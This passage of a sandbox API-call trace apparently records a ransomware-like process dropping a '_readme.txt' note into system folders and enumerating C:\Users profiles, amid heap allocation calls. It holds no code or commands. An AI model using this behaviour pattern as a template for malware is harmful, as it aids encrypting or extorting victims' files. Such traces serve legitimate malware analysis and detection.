ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" [0116.307] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dd3b8 [0116.307] CreateFileW (lpFileName="C:\\Config.Msi\\_readme.txt" (normalized: "c:\\config.msi\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0116.308] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dd3b8 | out: hHeap=0xd10000) returned 1 [0116.308] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f7f20 | out: hHeap=0xd10000) returned 1 [0116.308] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.308] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947ce8 [0116.308] FindFirstFileW (in: lpFileName="C:\\Config.Msi\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0xffffffff [0116.308] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947ce8 | out: hHeap=0xd10000) returned 1 [0116.308] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947ae0 | out: hHeap=0xd10000) returned 1 [0116.308] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.308] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947bd0 | out: hHeap=0xd10000) returned 1 [0116.308] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960f00 [0116.308] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.308] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960e70 [0116.308] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.308] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.308] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960e70 | out: hHeap=0xd10000) returned 1 [0116.308] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960e70 [0116.308] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.308] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.308] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960e70 | out: hHeap=0xd10000) returned 1 [0116.308] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960e70 [0116.308] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.308] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.308] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960e70 | out: hHeap=0xd10000) returned 1 [0116.308] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960e70 [0116.308] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.308] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.308] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960e70 | out: hHeap=0xd10000) returned 1 [0116.308] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960e70 [0116.308] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.308] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.308] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960e70 | out: hHeap=0xd10000) returned 1 [0116.309] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960e70 [0116.309] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.309] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.309] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960e70 | out: hHeap=0xd10000) returned 1 [0116.309] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.309] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947ae0 [0116.309] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.309] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.309] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947ae0 [0116.309] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.309] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.309] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eb18 [0116.309] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.309] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.309] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eb18 [0116.309] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.310] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.310] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947ae0 [0116.310] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.310] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.310] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947ae0 [0116.310] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.310] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.310] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960e70 [0116.310] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.310] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.310] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947ae0 [0116.310] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.310] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.310] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947ae0 [0116.310] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.310] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0116.310] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0116.310] PathFindFileNameW (pszPath="") returned="" [0116.310] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947ae0 [0116.310] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75900000 [0116.310] GetProcAddress (hModule=0x75900000, lpProcName="SHGetFolderPathW") returned 0x75985708 [0116.311] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x800) returned 0x39f5650 [0116.311] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39f5650 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0116.311] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x810) returned 0x39f4110 [0116.311] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947ce8 [0116.311] FreeLibrary (hLibModule=0x75900000) returned 1 [0116.311] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947ce8 | out: hHeap=0xd10000) returned 1 [0116.311] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5650 | out: hHeap=0xd10000) returned 1 [0116.311] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.311] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.311] FindFirstFileW (in: lpFileName="C:\\Users\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0116.311] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.311] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.311] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 1 [0116.311] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960e70 [0116.311] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960f00 [0116.311] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960f48 [0116.311] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960f00 | out: hHeap=0xd10000) returned 1 [0116.311] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960e70 | out: hHeap=0xd10000) returned 1 [0116.311] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 1 [0116.311] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ebf8 [0116.311] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eb18 [0116.311] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0116.311] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eb18 | out: hHeap=0xd10000) returned 1 [0116.311] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ebf8 | out: hHeap=0xd10000) returned 1 [0116.311] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x62fa4a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Default", cAlternateFileName="")) returned 1 [0116.311] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ebf8 [0116.312] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eb18 [0116.312] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ec30 [0116.312] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eb18 | out: hHeap=0xd10000) returned 1 [0116.312] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ebf8 | out: hHeap=0xd10000) returned 1 [0116.312] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Default User", cAlternateFileName="DEFAUL~1")) returned 1 [0116.312] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ebf8 [0116.312] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eb18 [0116.312] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ec68 [0116.312] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eb18 | out: hHeap=0xd10000) returned 1 [0116.312] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ebf8 | out: hHeap=0xd10000) returned 1 [0116.312] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x286e4016, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x286e4016, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0116.312] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x917fa2ee, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Public", cAlternateFileName="")) returned 1 [0116.312] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.312] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ebf8 [0116.312] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.312] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eb18 [0116.312] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x498) returned 0x39f5650 [0116.312] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.312] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947ce8 [0116.312] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947ae0 [0116.312] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.312] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f6280 [0116.312] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f6258 [0116.312] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f6230 [0116.312] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f6208 [0116.312] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f61e0 [0116.312] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f61b8 [0116.312] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f6190 [0116.312] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f6168 [0116.312] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f5fd8 [0116.312] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f6000 [0116.312] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f6028 [0116.313] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f6050 [0116.313] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f6488 [0116.313] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f64b0 [0116.313] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f64d8 [0116.313] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f6500 [0116.313] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f6528 [0116.313] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f6550 [0116.313] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f6578 [0116.313] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f65a0 [0116.313] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960e70 [0116.313] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eca0 [0116.313] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ecd8 [0116.313] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ed10 [0116.313] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f6118 | out: hHeap=0xd10000) returned 1 [0116.313] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f60f0 | out: hHeap=0xd10000) returned 1 [0116.313] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f60c8 | out: hHeap=0xd10000) returned 1 [0116.313] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f60a0 | out: hHeap=0xd10000) returned 1 [0116.313] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f6078 | out: hHeap=0xd10000) returned 1 [0116.313] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5f88 | out: hHeap=0xd10000) returned 1 [0116.313] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5fb0 | out: hHeap=0xd10000) returned 1 [0116.313] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f62a8 | out: hHeap=0xd10000) returned 1 [0116.313] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f62d0 | out: hHeap=0xd10000) returned 1 [0116.313] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f62f8 | out: hHeap=0xd10000) returned 1 [0116.313] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f6320 | out: hHeap=0xd10000) returned 1 [0116.313] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f6348 | out: hHeap=0xd10000) returned 1 [0116.313] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f6370 | out: hHeap=0xd10000) returned 1 [0116.313] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f6398 | out: hHeap=0xd10000) returned 1 [0116.313] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f63c0 | out: hHeap=0xd10000) returned 1 [0116.313] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f63e8 | out: hHeap=0xd10000) returned 1 [0116.313] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f6410 | out: hHeap=0xd10000) returned 1 [0116.313] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f6438 | out: hHeap=0xd10000) returned 1 [0116.313] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f6460 | out: hHeap=0xd10000) returned 1 [0116.314] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f6140 | out: hHeap=0xd10000) returned 1 [0116.314] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d10 | out: hHeap=0xd10000) returned 1 [0116.314] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d60 | out: hHeap=0xd10000) returned 1 [0116.314] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c70 | out: hHeap=0xd10000) returned 1 [0116.314] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c48 | out: hHeap=0xd10000) returned 1 [0116.314] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960f48 | out: hHeap=0xd10000) returned 1 [0116.314] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0116.314] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ec30 | out: hHeap=0xd10000) returned 1 [0116.314] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ec68 | out: hHeap=0xd10000) returned 1 [0116.314] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5338 | out: hHeap=0xd10000) returned 1 [0116.314] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ec68 [0116.314] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eb18 | out: hHeap=0xd10000) returned 1 [0116.314] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ebf8 | out: hHeap=0xd10000) returned 1 [0116.314] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x917fa2ee, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Public", cAlternateFileName="")) returned 0 [0116.314] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0116.314] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947bd0 | out: hHeap=0xd10000) returned 1 [0116.314] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947bd0 [0116.314] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.314] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c48 [0116.314] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.314] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.314] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c48 | out: hHeap=0xd10000) returned 1 [0116.314] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c48 [0116.314] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.314] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.314] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c48 | out: hHeap=0xd10000) returned 1 [0116.314] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c48 [0116.314] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.314] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.314] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c48 | out: hHeap=0xd10000) returned 1 [0116.315] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c48 [0116.315] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.315] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.315] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c48 | out: hHeap=0xd10000) returned 1 [0116.315] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c48 [0116.315] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.315] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.315] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c48 